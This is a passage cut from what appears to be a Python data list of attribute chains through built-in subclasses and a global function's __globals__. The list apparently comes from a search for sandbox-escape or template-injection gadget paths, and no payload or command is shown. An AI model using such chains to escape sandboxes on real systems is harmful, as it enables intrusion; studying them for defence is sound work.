"Subclass 82: ..__init__", "Subclass 114: ..__hash__.__call__.__objclass__", "Subclass 119: ..__iter__.__get__.__objclass__", "Subclass 109: ..__next__.__delattr__.__self__", "Subclass 137: ..__init__.__get__.__self__", "Subclass 188: ..__deepcopy__.__reduce__.__self__", "Subclass 183: ..closegroup.__get__.__objclass__", "Subclass 110: ..reset.__reduce_ex__.__self__", "Subclass 110: ..read.__setattr__.__self__", "Subclass 185: ..seek.__setattr__.__self__", "Subclass 183: ..checkgroup.__class__", "Subclass 96: ..create_module.__new__.__self__", "Subclass 104: ..get_source.__ge__.__self__", "Subclass 80: ..__repr__.__le__.__self__", "Subclass 164: ..repr_list.__str__.__self__", "Subclass 110: ..__enter__.__gt__.__self__", "Subclass 172: ..__init__.__hash__.__self__", "Subclass 109: ..__weakref__.__objclass__.__iter__", "Subclass 109: ..write.__repr__.__objclass__", "Subclass 104: ..__repr__.__getattribute__.__self__", "Subclass 119: ..__iter__.__class__", "Subclass 173: ..__init__.__str__.__self__", "Subclass 138: ..throw.__lt__.__self__", "Subclass 133: ..__getattr__", "Subclass 109: ..readlines.__format__.__self__", "Subclass 185: ..getwhile.__repr__.__self__", "Subclass 109: ..__subclasshook__.__self__.seek", "Subclass 98: .._fill_cache.__hash__.__self__", "Subclass 87: ..__enter__.__hash__.__self__", "Subclass 107: ..reset.__repr__.__objclass__", "Subclass 81: ..release.__ne__.__self__", "Subclass 177: .._push_exit_callback.__hash__.__self__", "Subclass 109: ..__getattr__.__ge__.__self__", "Subclass 177: .._push_exit_callback.__str__.__self__", "Subclass 164: ..repr_set.__reduce__.__self__", "Subclass 176: ..__init__.__format__.__self__", "Subclass 84: ..module_repr.__str__.__self__", "Subclass 186: ..scan.__repr__.__objclass__", "Subclass 96: ..is_package.__repr__.__objclass__", "Subclass 114: ..__class__._dump_registry", "Subclass 164: ..repr_dict.__setattr__.__self__", "Subclass 109: ..__exit__.__lt__.__self__", "Subclass 138: ..send.__get__.__objclass__", "Subclass 83: ..__repr__.__get__.__self__", "Subclass 108: ..reset.__setattr__.__self__", "Subclass 164: ..repr_set.__format__.__self__", "Subclass 164: ..repr_frozenset.__repr__.__self__", "Subclass 108: ..decode.__gt__.__self__", "Subclass 172: .._make_unbound_method.__sizeof__.__self__", "Subclass 183: ..__init__.__init__.__self__", "Subclass 199: ..contents.__repr__.__objclass__", "Subclass 184: ..__len__.__reduce__.__self__", "Subclass 98: ..__subclasshook__.__self__._get_spec", "Subclass 199: ..resource_path.__get__.__self__", "Subclass 183: ..__init__.__setattr__.__self__", "Subclass 164: ..repr_array.__reduce_ex__.__self__", "Subclass 104: ..get_source.__reduce__.__self__", "Subclass 95: .._get_parent_path.__hash__.__self__", "Subclass 177: ..enter_context.__dir__.__self__", "Subclass 98: .._fill_cache.__lt__.__self__", "Subclass 172: ..__repr__.__gt__.__self__", "Subclass 107: ..__init_subclass__.__self__.getstate", "Subclass 80: ..release.__lt__.__self__", "Subclass 179: ..__class__.__getattr__.__class__", "Subclass 197: ..__class__._abc_caches_clear", "Subclass 98: ..__init__.__call__.__objclass__", "Subclass 164: ..repr1.__eq__.__self__", "Subclass 94: ..get_resource_reader.__repr__.__objclass__", "Subclass 98: ..__init__.__ne__.__self__", "Subclass 195: ..BinaryIO.readlines", "Subclass 177: .._push_exit_callback.__init__.__self__", "Subclass 172: ..__init__.__format__.__self__", "Subclass 86: ..find_module.__func__", "Subclass 95: ..__iter__.__ge__.__self__", "Subclass 108: ..__subclasshook__.__self__.decode", "Subclass 164: ..__weakref__.__objclass__.repr_int", "Subclass 172: ..__subclasshook__.__self__.__repr__", "Subclass 109: ..__iter__", "Subclass 138: ..__iter__.__repr__.__self__", "Subclass 96: ..get_code.__format__.__self__", "Subclass 137: ..__init__.__format__.__self__", "Subclass 94: ..get_filename.__dir__.__self__", "Subclass 109: ..writelines.__delattr__.__self__", "Subclass 110: ..writelines", "Subclass 98: .._fill_cache.__reduce__.__self__", "Subclass 133: ..__exit__.__new__.__self__", "Subclass 184: ..getwidth.__setattr__.__self__", "Subclass 184: ..append.__format__.__self__", "Subclass 186: ..scan.__init__.__self__", "Subclass 188: ..__copy__.__lt__.__self__", "Subclass 132: ..__call__.__hash__.__self__", "Subclass 109: ..__enter__.__gt__.__self__", "Subclass 164: ..__init_subclass__.__self__.repr_instance", "Subclass 119: ..__iter__.__dir__.__self__", "Subclass 104: ..get_code.__repr__.__objclass__", "Subclass 140: ..__enter__.__class__", "Subclass 110: ..readlines.__sizeof__.__self__", "Subclass 184: ..dump.__init_subclass__.__self__", "Subclass 94: ..__weakref__.__objclass__.get_resource_reader", "Subclass 179: ..__class__.__setattr__", "Subclass 112: ..__class__.__new__", "Subclass 94: ..resource_path.__ge__.__self__", "Subclass 135: ..__repr__.__ne__.__self__", "Subclass 140: ..__repr__.__init__.__self__", "Subclass 98: ..path_hook.__func__.__class__", "Subclass 112: ..__class__._dump_registry", "Subclass 131: ..__class__.__subclasscheck__.__class__", "Subclass 199: ..__init_subclass__.__self__.is_resource", "Subclass 193: ..__class__.__new__", "Subclass 194: ..__class__.__instancecheck__.__class__", "Subclass 199: ..is_resource.__gt__.__self__", "Subclass 195: ..BinaryIO.seekable", "Subclass 110: ..seek", "Subclass 94: ..resource_path.__subclasshook__.__self__", "Subclass 80: ..acquire.__eq__.__self__", "Subclass 94: ..open_resource.__class__", "Subclass 177: .._push_exit_callback.__ne__.__self__", "Subclass 94: ..contents.__reduce__.__self__", "Subclass 179: ..__class__.__contains__.__class__", "Subclass 172: .._make_unbound_method.__new__.__self__", "Subclass 174: ..__init__.__repr__.__self__", "Subclass 199: ..is_resource.__delattr__.__self__", "Subclass 137: ..__delete__.__repr__.__self__", "Subclass 109: ..__exit__", "Subclass 164: ..repr_instance.__new__.__self__", "Subclass 104: ..__init_subclass__.__self__.get_source", "Subclass 137: ..__delete__.__hash__.__self__", "Subclass 115: ..__class__.__subclasscheck__", "Subclass 96: ..get_source.__get__.__objclass__", "Subclass 175: ..__call__.__class__", "Subclass 137: ..__delete__.__eq__.__self__", "Subclass 183: ..checkgroup.__sizeof__.__self__", 'Global func 1: ..__init__.__self__', "Subclass 80: ..release.__gt__.__self__", "Subclass 134: ..__init__.__lt__.__self__", "Subclass 81: ..__repr__.__class__", "Subclass 177: ..callback.__eq__.__self__", "Subclass 134: ..__init__.__subclasshook__.__self__", "Subclass 195: ..TextIO.__class_getitem__.__func__", "Subclass 83: ..__init__.__ge__.__self__", "Subclass 140: ..__exit__.__le__.__self__", "Subclass 135: ..__call__.__gt__.__self__", "Subclass 80: ..acquire.__init_subclass__.__self__", "Subclass 192: ..__new__.__get__.__objclass__", "Subclass 173: ..register", "Subclass 140: ..__repr__.__gt__.__self__", "Subclass 139: ..__init__.__le__.__self__", "Subclass 133: ..__getattr__.__init_subclass__.__self__", "Subclass 108: ..reset.__eq__.__self__", "Subclass 107: ..getstate", "Subclass 164: ..repr_dict.__le__.__self__", "Subclass 94: ..load_module.__ne__.__self__", "Subclass 104: ..is_package.__lt__.__self__", "Subclass 110: ..reset.__sizeof__.__self__", "Subclass 135: ..__call__.__init__.__self__", "Subclass 138: ..throw.__ne__.__self__", "Subclass 80: ..acquire.__delattr__.__self__", "Subclass 104: ..find_module.__hash__.__self__", "Subclass 173: ..register.__dir__.__self__", "Subclass 93: ..create_module.__sizeof__.__self__", "Subclass 164: ..repr.__format__.__self__", "Subclass 110: ..readlines.__dir__.__self__", "Subclass 133: ..__enter__.__gt__.__self__", "Subclass 109: ..__getattr__.__str__.__self__", "Subclass 136: ..__call__.__sizeof__.__self__", 'Global func 1: ..__get__.__self__', "Subclass 185: .._Tokenizer__next.__init_subclass__.__self__", "Subclass 175: ..__call__.__init_subclass__.__self__", "Subclass 104: ..is_package.__call__.__self__", "Subclass 174: ..__get__.__gt__.__self__", "Subclass 98: ..find_spec.__setattr__.__self__", "Subclass 104: ..load_module.__dir__.__self__", "Subclass 81: ..__init__.__call__.__objclass__", "Subclass 184: ..__subclasshook__.__self__.insert", "Subclass 94: ..__init_subclass__.__self__.is_resource", "Subclass 183: ..checklookbehindgroup.__eq__.__self__", "Subclass 173: ..__weakref__.__objclass__.register", "Subclass 83: ..__eq__.__sizeof__.__self__", "Subclass 172: ..__weakref__.__objclass__.__get__", "Subclass 199: ..is_resource.__get__.__self__", "Subclass 198: ..load_module.__get__.__objclass__", "Subclass 95: .._get_parent_path.__str__.__self__", "Subclass 110: ..__iter__.__get__.__objclass__", "Subclass 177: .._push_cm_exit.__repr__.__self__", "Subclass 108: ..decode.__setattr__.__self__", "Subclass 109: ..seek.__reduce__.__self__", "Subclass 110: ..__getattr__.__delattr__.__self__", "Subclass 95: .._find_parent_path_names.__reduce_ex__.__self__", "Subclass 117: ..__aiter__.__ne__.__self__", "Subclass 196: ..Match.__mro_entries__.__func__", "Subclass 95: ..__setitem__.__class__", "Subclass 164: ..__init_subclass__.__self__.repr_list", "Subclass 96: ..exec_module.__subclasshook__.__self__", "Subclass 109: ..__iter__.__reduce__.__self__", "Subclass 199: ..open_resource.__subclasshook__.__self__", "Subclass 184: ..__subclasshook__.__self__.__setitem__", "Subclass 86: ..module_repr.__format__.__self__", "Subclass 104: ..get_resource_reader.__get__.__objclass__", "Subclass 138: ..__next__.__format__.__self__", "Subclass 104: ..__repr__.__ne__.__self__", "Subclass 96: ..__init__.__format__.__self__", "Subclass 164: ..__init__.__str__.__self__", "Subclass 86: ..exec_module.__dir__.__self__", "Subclass 93: ..exec_module.__lt__.__self__", "Subclass 177: .._push_cm_exit.__subclasshook__.__self__", "Subclass 138: ..send.__sizeof__.__self__", "Subclass 119: ..__class__._abc_caches_clear", "Subclass 164: ..__weakref__.__objclass__.repr_tuple", "Subclass 184: ..__init__.__get__.__self__", "Subclass 105: ..open_resource.__reduce__.__self__", "Subclass 164: ..repr.__repr__.__self__", "Subclass 173: ..register.__repr__.__objclass__", "Subclass 98: .._fill_cache.__reduce_ex__.__self__", "Subclass 164: ..repr_deque.__call__.__self__", "Subclass 174: ..__get__.__getattribute__.__self__", "Subclass 108: ..decode.__call__.__self__", "Subclass 81: ..acquire.__dir__.__self__", "Subclass 183: ..checkgroup.__repr__.__objclass__", "Subclass 92: ..find_spec.__func__.__class__", "Subclass 107: ..encode.__le__.__self__", "Subclass 110: ..__getattr__.__reduce__.__self__", "Subclass 110: ..__exit__.__repr__.__objclass__", "Subclass 110: ..write.__lt__.__self__", "Subclass 139: ..__init__.__getattribute__.__self__", "Subclass 195: ..TextIO.__enter__.__class__", "Subclass 172: .._make_unbound_method.__dir__.__self__", "Subclass 185: ..seek.__reduce_ex__.__self__", "Subclass 172: ..__init__.__sizeof__.__self__", "Subclass 110: ..__exit__.__getattribute__.__self__", "Subclass 84: ..load_module.__func__.__class__", "Subclass 176: ..__init__.__new__.__self__", "Subclass 184: ..getwidth.__class__", "Subclass 177: .._push_exit_callback.__gt__.__self__", "Subclass 110: ..__init__.__get__.__objclass__", "Subclass 138: ..__init__.__dir__.__self__", "Subclass 110: ..readline.__format__.__self__", "Subclass 93: ..exec_module.__class__", "Subclass 133: ..__enter__.__init__.__self__", "Subclass 98: ..__init__.__sizeof__.__self__", "Subclass 140: ..__enter__.__hash__.__self__", "Subclass 96: ..get_code.__lt__.__self__", "Subclass 139: ..__init_subclass__.__self__.__str__", "Subclass 183: ..opengroup.__new__.__self__", "Subclass 105: ..__init__.__le__.__self__", "Subclass 135: ..__init__.__init__.__self__", "Subclass 84: ..exec_module.__func__", "Subclass 98: .._get_spec.__call__.__self__", "Subclass 94: ..__hash__.__setattr__.__self__", "Subclass 107: ..__subclasshook__.__self__.encode", "Subclass 177: ..__init__.__get__.__objclass__", "Subclass 110: ..reset.__format__.__self__", "Subclass 184: ..insert", "Subclass 130: ..__class__._dump_registry", "Subclass 199: ..open_resource.__eq__.__self__", "Subclass 109: ..__getattr__.__repr__.__objclass__", "Subclass 98: ..find_module.__repr__.__self__", "Subclass 109: ..read.__hash__.__self__", 'Global func 1: ..__class__.__init_subclass__.__self__', "Subclass 192: ..__init_subclass__.__func__", "Subclass 81: ..release.__hash__.__self__", "Subclass 104: ..is_package.__new__.__self__", "Subclass 110: ..__enter__.__le__.__self__", "Subclass 175: ..__call__.__delattr__.__self__", "Subclass 138: ..__iter__.__class__", "Subclass 108: ..__init_subclass__.__self__.__init__", "Subclass 184: ..__setitem__.__dir__.__self__", "Subclass 189: ..__init_subclass__.__func__.__class__", "Subclass 164: ..repr_deque.__repr__.__self__", "Subclass 93: ..exec_module.__repr__.__objclass__", "Subclass 164: ..__weakref__.__objclass__.repr1", "Subclass 184: ..append", "Subclass 197: ..find_module.__format__.__self__", "Subclass 185: ..match.__reduce__.__self__", "Subclass 96: ..get_code.__get__.__self__", "Subclass 95: ..__init__", "Subclass 94: ..__hash__.__eq__.__self__", "Subclass 106: ..decode.__call__.__objclass__", "Subclass 104: ..__init__.__format__.__self__", "Subclass 94: ..__hash__", "Subclass 176: ..__init__.__reduce__.__self__", "Subclass 104: ..find_loader.__init__.__self__", "Subclass 96: ..load_module", "Subclass 164: ..repr_tuple.__sizeof__.__self__", "Subclass 164: ..repr_int.__subclasshook__.__self__", "Subclass 108: ..setstate.__eq__.__self__", "Subclass 184: ..__setitem__.__str__.__self__", "Subclass 104: ..load_module.__init__.__self__", "Subclass 135: .._Printer__setup.__call__.__self__", "Subclass 104: ..__init__.__call__.__self__", "Subclass 135: ..__repr__.__ge__.__self__", "Subclass 117: ..__class__.__new__", "Subclass 110: ..readlines.__reduce__.__self__", "Subclass 109: ..__exit__.__class__", "Subclass 198: ..module_repr.__init__.__self__", "Subclass 81: ..__init_subclass__.__self__.release", "Subclass 94: ..get_filename.__ne__.__self__", "Subclass 104: ..is_package.__call__.__objclass__", "Subclass 177: ..pop_all.__delattr__.__self__", "Subclass 95: ..__getitem__.__le__.__self__", "Subclass 184: ..__weakref__.__objclass__.append", "Subclass 98: ..invalidate_caches.__delattr__.__self__", "Subclass 184: ..insert.__call__.__self__", "Subclass 110: ..__getattr__.__hash__.__self__", "Subclass 104: ..__init_subclass__.__self__.is_package", "Subclass 104: ..get_filename.__gt__.__self__", "Subclass 95: ..__init_subclass__.__self__._get_parent_path", "Subclass 94: ..load_module.__init__.__self__", "Subclass 184: ..getwidth.__sizeof__.__self__", "Subclass 117: ..__aiter__.__get__.__self__", "Subclass 39: ..__kwdefaults__.__objclass__", "Subclass 177: ..__init_subclass__.__self__.callback", "Subclass 95: ..__contains__.__hash__.__self__", "Subclass 138: ..__iter__.__get__.__objclass__", "Subclass 184: ..getwidth.__get__.__objclass__", "Subclass 87: ..__exit__.__new__.__self__", "Subclass 93: ..exec_module.__ge__.__self__", "Subclass 98: ..__weakref__.__objclass__.find_spec", "Subclass 185: ..error.__format__.__self__", "Subclass 94: ..get_resource_reader.__delattr__.__self__", "Subclass 133: ..__init__.__le__.__self__", "Subclass 109: ..__weakref__.__objclass__.readlines", "Subclass 108: ..__init__.__reduce__.__self__", "Subclass 110: ..seek.__setattr__.__self__", "Subclass 133: ..__exit__.__format__.__self__", "Subclass 164: ..__weakref__.__objclass__._repr_iterable", "Subclass 87: ..__exit__.__hash__.__self__", "Subclass 133: ..__init__.__new__.__self__", "Subclass 195: ..IO.writable.__class__", "Subclass 109: ..__exit__.__getattribute__.__self__", "Subclass 138: ..__await__.__call__.__self__", "Subclass 107: ..reset.__eq__.__self__", "Subclass 185: ..__weakref__.__objclass__.seek", "Subclass 184: ..__delitem__.__repr__.__self__", "Subclass 80: ..__init__.__getattribute__.__self__", "Subclass 96: ..get_source.__init__.__self__", "Subclass 110: ..seek.__repr__.__objclass__", "Subclass 105: ..__init_subclass__.__self__.resource_path", "Subclass 87: ..__enter__.__getattribute__.__self__", "Subclass 105: ..__init__.__sizeof__.__self__", "Subclass 98: ..invalidate_caches.__dir__.__self__", "Subclass 184: ..__getitem__.__delattr__.__self__", "Subclass 138: ..throw.__call__.__objclass__", "Subclass 164: ..__subclasshook__.__self__.repr_deque", "Subclass 83: ..__init__.__repr__.__self__", "Subclass 95: ..__init__.__repr__.__objclass__", "Subclass 173: ..__get__.__ne__.__self__", "Subclass 104: ..get_resource_reader.__format__.__self__", "Subclass 104: ..load_module.__format__.__self__", "Subclass 110: ..reset.__eq__.__self__", "Subclass 174: ..__init__.__setattr__.__self__", "Subclass 177: ..__init__.__le__.__self__", "Subclass 80: ..acquire.__sizeof__.__self__", "Subclass 188: ..__init_subclass__.__self__.__copy__", "Subclass 109: ..readline.__gt__.__self__", "Subclass 109: ..write", "Subclass 81: ..release.__call__.__self__", "Subclass 94: ..get_resource_reader.__str__.__self__", "Subclass 185: ..seek.__get__.__self__", "Subclass 185: ..getuntil.__dir__.__self__", "Subclass 184: ..__init__.__gt__.__self__", "Subclass 172: ..__init_subclass__.__self__.__repr__", "Subclass 95: ..__init_subclass__.__self__.append", "Subclass 94: ..__hash__.__get__.__objclass__", "Subclass 94: ..__hash__.__gt__.__self__", "Subclass 185: ..__subclasshook__.__self__.error", "Subclass 110: ..read.__dir__.__self__", "Subclass 183: ..checkgroup.__dir__.__self__", "Subclass 94: ..load_module.__ge__.__self__", "Subclass 184: ..__repr__", "Subclass 184: ..append.__ne__.__self__", "Subclass 86: ..module_repr.__sizeof__.__self__", "Subclass 96: ..create_module.__subclasshook__.__self__", "Subclass 192: ..__new__.__getattribute__.__self__", "Subclass 95: .._recalculate.__gt__.__self__", "Subclass 138: ..__next__.__ge__.__self__", "Subclass 110: ..readlines.__ge__.__self__", "Subclass 87: ..__enter__.__subclasshook__.__self__", "Subclass 164: ..repr_str.__le__.__self__", "Subclass 131: ..__contains__.__repr__.__objclass__", "Subclass 105: ..open_resource.__call__.__objclass__", "Subclass 177: ..push.__repr__.__objclass__", "Subclass 185: ..get.__lt__.__self__", "Subclass 110: ..writelines.__hash__.__self__", "Subclass 164: ..repr_array.__sizeof__.__self__", "Subclass 164: ..__weakref__.__objclass__.repr_list", "Subclass 109: ..write.__ge__.__self__", "Subclass 136: ..__repr__.__eq__.__self__", "Subclass 184: ..__getitem__.__get__.__objclass__", "Subclass 104: ..get_data.__getattribute__.__self__", "Subclass 195: ..TextIO.writable", "Subclass 197: ..find_module.__call__.__objclass__", "Subclass 164: ..repr_deque.__sizeof__.__self__", "Subclass 173: ..register.__le__.__self__", "Subclass 177: .._create_cb_wrapper.__hash__.__self__", "Subclass 185: ..getwhile.__gt__.__self__", "Subclass 137: ..__init__.__delattr__.__self__", "Subclass 115: ..__await__.__lt__.__self__", "Subclass 139: ..__init__.__str__.__self__", "Subclass 188: ..__deepcopy__.__subclasshook__.__self__", "Subclass 98: .._get_spec.__sizeof__.__self__", "Subclass 172: ..__subclasshook__.__self__.__init__", "Subclass 84: ..module_repr.__getattribute__.__self__", "Subclass 134: ..__call__.__call__.__self__", "Subclass 105: ..open_resource.__hash__.__self__", "Subclass 108: ..__init__.__lt__.__self__", "Subclass 107: ..__init__.__subclasshook__.__self__", "Subclass 177: .._push_cm_exit.__hash__.__self__", "Subclass 199: ..resource_path.__reduce_ex__.__self__", "Subclass 110: ..writelines.__eq__.__self__", "Subclass 138: ..send.__new__.__self__", "Subclass 138: ..__next__.__ne__.__self__", "Subclass 109: ..__getattr__.__sizeof__.__self__", "Subclass 110: ..seek.__init__.__self__", "Subclass 94: ..get_resource_reader.__hash__.__self__", "Subclass 138: ..__init_subclass__.__self__.__iter__", "Subclass 134: ..__weakref__.__objclass__.__init__", "Subclass 87: ..__exit__.__ge__.__self__", "Subclass 110: ..readlines.__gt__.__self__", "Subclass 109: ..__init__.__get__.__objclass__", "Subclass 131: ..__init_subclass__.__self__.__contains__", "Subclass 95: .._recalculate.__class__", "Subclass 83: ..__eq__.__ne__.__self__", "Subclass 80: ..acquire.__reduce_ex__.__self__", "Subclass 96: ..__init__.__sizeof__.__self__", "Subclass 184: ..insert.__reduce_ex__.__self__", "Subclass 109: ..seek.__subclasshook__.__self__", "Subclass 164: ..repr_instance.__hash__.__self__", "Subclass 199: ..is_resource.__call__.__self__", "Subclass 80: ..__init__.__str__.__self__", "Subclass 98: ..invalidate_caches.__sizeof__.__self__", "Subclass 137: ..__get__.__str__.__self__", "Subclass 110: ..__weakref__.__objclass__.readline", "Subclass 135: .._Printer__setup.__repr__.__self__", "Subclass 80: ..__repr__.__subclasshook__.__self__", "Subclass 105: ..__init__.__class__", "Subclass 110: ..reset.__init_subclass__.__self__", "Subclass 139: ..__init_subclass__.__self__.__init__", "Subclass 185: ..match.__call__.__self__", "Subclass 164: ..repr_frozenset.__new__.__self__", "Subclass 109: ..__weakref__.__objclass__.read", "Subclass 83: ..__eq__.__getattribute__.__self__", "Subclass 98: ..invalidate_caches.__setattr__.__self__", "Subclass 110: ..__iter__.__subclasshook__.__self__", "Subclass 94: ..__hash__.__call__.__objclass__", "Subclass 94: ..__init__.__delattr__.__self__", "Subclass 96: ..is_package.__call__.__self__", "Subclass 164: ..repr_dict.__init_subclass__.__self__", "Subclass 184: ..insert.__ne__.__self__", "Subclass 96: ..exec_module.__getattribute__.__self__", "Subclass 94: ..is_resource.__lt__.__self__", "Subclass 138: ..send.__class__", "Subclass 137: ..getter.__sizeof__.__self__", "Subclass 164: ..__init__.__class__", "Subclass 115: ..__subclasshook__.__func__.__class__", "Subclass 173: ..__weakref__.__objclass__.__init__", "Subclass 185: ..seek.__hash__.__self__", "Subclass 108: ..reset.__hash__.__self__", "Subclass 184: ..__init__.__sizeof__.__self__", "Subclass 109: ..__getattr__.__reduce_ex__.__self__", "Subclass 135: ..__init__.__class__", "Subclass 81: ..__repr__.__eq__.__self__", "Subclass 140: ..__exit__.__setattr__.__self__", "Subclass 82: ..__enter__.__repr__.__self__", "Subclass 135: ..__init__.__lt__.__self__", "Subclass 172: .._make_unbound_method.__delattr__.__self__", "Subclass 83: ..__init_subclass__.__self__.__repr__", "Subclass 174: ..__class_getitem__.__self__.__get__", "Subclass 177: .._push_exit_callback.__class__", "Subclass 173: ..register.__ne__.__self__", "Subclass 185: ..tell.__ne__.__self__", "Subclass 98: .._fill_cache.__call__.__objclass__", "Subclass 177: ..push.__gt__.__self__", "Subclass 199: ..open_resource.__new__.__self__", "Subclass 134: ..__repr__.__reduce_ex__.__self__", "Subclass 164: ..repr_frozenset.__reduce__.__self__", "Subclass 104: ..get_resource_reader.__class__", "Subclass 119: ..__class__.register", "Subclass 110: ..read.__call__.__objclass__", "Subclass 104: ..get_code.__ge__.__self__", "Subclass 110: ..write", "Subclass 177: ..__weakref__.__objclass__._push_exit_callback", "Subclass 108: ..__init__.__ne__.__self__", "Subclass 95: ..__contains__.__repr__.__self__", "Subclass 80: ..__subclasshook__.__self__.__init__", "Subclass 94: ..load_module.__new__.__self__", "Subclass 164: ..repr_str.__repr__.__self__", "Subclass 137: ..__delete__.__ge__.__self__", "Subclass 98: .._get_spec.__gt__.__self__", "Subclass 110: ..__exit__.__init_subclass__.__self__", "Subclass 195: ..IO.seek.__class__", 'Global func 1: ..__class__.__globals__.__objclass__', "Subclass 173: ..register.__init_subclass__.__self__", "Subclass 87: ..__enter__.__init__.__self__", "Subclass 107: ..__init__.__dir__.__self__", "Subclass 164: ..__init_subclass__.__self__.repr_array", "Subclass 176: ..__init__.__init_subclass__.__self__", "Subclass 197: ..find_module.__hash__.__self__", "Subclass 185: ..get", "Subclass 96: ..exec_module.__call__.__self__", "Subclass 138: ..close.__repr__.__self__", "Subclass 94: ..__eq__.__format__.__self__", "Subclass 105: ..contents.__repr__.__self__", "Subclass 119: ..__iter__.__repr__.__objclass__", "Subclass 138: ..close.__reduce_ex__.__self__", "Subclass 172: ..__init__.__delattr__.__self__", "Subclass 104: ..is_package.__get__.__self__", "Subclass 110: ..writelines.__subclasshook__.__self__", "Subclass 183: ..checkgroup.__new__.__self__", "Subclass 184: ..__subclasshook__.__self__.__delitem__", "Subclass 184: ..insert.__init_subclass__.__self__", "Subclass 95: ..__getitem__.__gt__.__self__", "Subclass 80: ..release.__class__", "Subclass 198: ..module_repr.__class__", "Subclass 107: ..setstate.__get__.__objclass__", "Subclass 172: ..__get__.__repr__.__self__", "Subclass 136: ..__repr__.__reduce_ex__.__self__", "Subclass 98: ..__init__.__format__.__self__", "Subclass 137: ..__init__.__ge__.__self__", "Subclass 199: ..is_resource.__format__.__self__", "Subclass 177: .._create_cb_wrapper.__reduce_ex__.__self__", "Subclass 164: ..repr_frozenset.__lt__.__self__", "Subclass 106: ..encode", "Subclass 164: ..repr_list.__ge__.__self__", "Subclass 140: ..__exit__.__init_subclass__.__self__", "Subclass 177: ..__weakref__.__objclass__.callback", "Subclass 109: ..__subclasshook__.__self__.reset", "Subclass 93: ..create_module.__hash__.__self__", "Subclass 115: ..__await__.__hash__.__self__", "Subclass 110: ..reset.__str__.__self__", "Subclass 184: ..__init__.__dir__.__self__", "Subclass 134: ..__call__.__ge__.__self__", "Subclass 110: ..__next__.__ne__.__self__", "Subclass 137: ..__get__.__lt__.__self__", "Subclass 109: ..__getattr__.__get__.__objclass__", "Subclass 185: .._Tokenizer__next.__ne__.__self__", "Subclass 82: ..__init__.__getattribute__.__self__", "Subclass 104: ..__repr__.__dir__.__self__", "Subclass 98: ..__init_subclass__.__self__.__init__", "Subclass 198: ..create_module.__call__.__self__", "Subclass 136: ..__call__.__delattr__.__self__", "Subclass 184: ..__len__.__getattribute__.__self__", "Subclass 110: ..__subclasshook__.__self__.__getattr__", "Subclass 194: ..__class__.__new__.__class__", "Subclass 96: ..is_package.__new__.__self__", "Subclass 95: ..__contains__.__gt__.__self__", "Subclass 137: ..__init__.__repr__.__objclass__", "Subclass 184: ..append.__call__.__objclass__", "Subclass 95: ..append", "Subclass 109: ..__getattr__.__repr__.__self__", "Subclass 81: ..__repr__.__gt__.__self__", "Subclass 104: ..is_package.__format__.__self__", "Subclass 93: ..load_module.__init_subclass__.__self__", "Subclass 93: ..exec_module.__eq__.__self__", "Subclass 107: ..__init__.__call__.__self__", "Subclass 110: ..read.__format__.__self__", "Subclass 93: ..is_package.__reduce_ex__.__self__", "Subclass 104: ..find_module.__str__.__self__", "Subclass 94: ..__eq__.__reduce_ex__.__self__", "Subclass 84: ..module_repr.__call__.__objclass__", "Subclass 174: ..__init__.__dir__.__self__", "Subclass 185: ..match.__new__.__self__", "Subclass 109: ..__init__.__lt__.__self__", "Subclass 96: ..get_source.__getattribute__.__self__", "Subclass 199: ..contents.__le__.__self__", "Subclass 107: ..reset.__new__.__self__", "Subclass 105: ..resource_path.__delattr__.__self__", "Subclass 135: ..__call__.__sizeof__.__self__", "Subclass 95: ..__len__", "Subclass 108: ..setstate.__setattr__.__self__", "Subclass 98: ..invalidate_caches.__get__.__self__", "Subclass 94: ..load_module.__reduce__.__self__", "Subclass 96: ..create_module.__call__.__self__", "Subclass 87: ..__enter__.__get__.__self__", "Subclass 109: ..reset.__class__", "Subclass 137: ..getter.__setattr__.__self__", "Subclass 138: ..__await__.__gt__.__self__", "Subclass 95: ..__repr__.__reduce__.__self__", "Subclass 104: ..__repr__.__format__.__self__", "Subclass 109: ..__exit__.__get__.__self__", "Subclass 133: ..__init__.__reduce_ex__.__self__", "Subclass 135: ..__weakref__.__objclass__.__repr__", "Subclass 183: ..opengroup.__le__.__self__", "Subclass 108: ..decode.__call__.__objclass__", "Subclass 174: ..__set_name__.__subclasshook__.__self__", "Subclass 94: ..get_resource_reader.__call__.__self__", "Subclass 137: ..__delete__.__ne__.__self__", "Subclass 94: ..get_filename.__get__.__objclass__", "Subclass 133: ..__iter__.__repr__.__self__", "Subclass 186: ..__init__.__lt__.__self__", "Subclass 130: ..__class__.__new__.__class__", "Subclass 82: ..__exit__.__reduce__.__self__", "Subclass 198: ..load_module.__ge__.__self__", "Subclass 93: ..is_package.__le__.__self__", "Subclass 109: ..__weakref__.__objclass__.__exit__", "Subclass 94: ..__eq__.__get__.__self__", "Subclass 110: ..writelines.__call__.__self__", "Subclass 110: ..__getattr__.__call__.__self__", "Subclass 109: ..__init__.__init_subclass__.__self__", "Subclass 184: ..__delitem__.__dir__.__self__", "Subclass 138: ..__next__.__get__.__self__", "Subclass 94: ..get_filename.__call__.__objclass__", "Subclass 109: ..readline.__subclasshook__.__self__", "Subclass 177: .._create_exit_wrapper.__str__.__self__", "Subclass 108: ..getstate.__dir__.__self__", "Subclass 108: ..decode.__le__.__self__", "Subclass 84: ..module_repr.__eq__.__self__", "Subclass 109: ..__init_subclass__.__self__.read", "Subclass 80: ..has_deadlock.__new__.__self__", "Subclass 110: ..readline.__str__.__self__", "Subclass 98: ..__init__.__call__.__self__", "Subclass 199: ..__weakref__.__objclass__.resource_path", "Subclass 137: ..deleter.__init_subclass__.__self__", "Subclass 136: ..__repr__.__reduce__.__self__", "Subclass 82: ..__enter__.__eq__.__self__", "Subclass 137: ..setter.__gt__.__self__", "Subclass 95: ..__subclasshook__.__self__.__repr__", "Subclass 174: ..__get__.__subclasshook__.__self__", "Subclass 133: ..__getattr__.__format__.__self__", "Subclass 176: ..__subclasshook__.__self__.__init__", "Subclass 98: ..invalidate_caches.__repr__.__self__", "Subclass 195: ..TextIO.__enter__", "Subclass 197: ..__class__.__subclasscheck__", "Subclass 184: ..__setitem__.__call__.__objclass__", "Subclass 138: ..__iter__.__hash__.__self__", "Subclass 164: ..repr_tuple.__call__.__self__", "Subclass 173: ..__init__.__hash__.__self__", "Subclass 108: ..decode.__format__.__self__", "Subclass 164: ..repr_dict.__repr__.__self__", "Subclass 164: ..repr_dict.__lt__.__self__", "Subclass 109: ..writelines.__hash__.__self__", "Subclass 133: ..__enter__.__format__.__self__", "Subclass 175: .._recreate_cm.__new__.__self__", "Subclass 197: ..__class__.__new__", "Subclass 175: .._recreate_cm.__reduce_ex__.__self__", 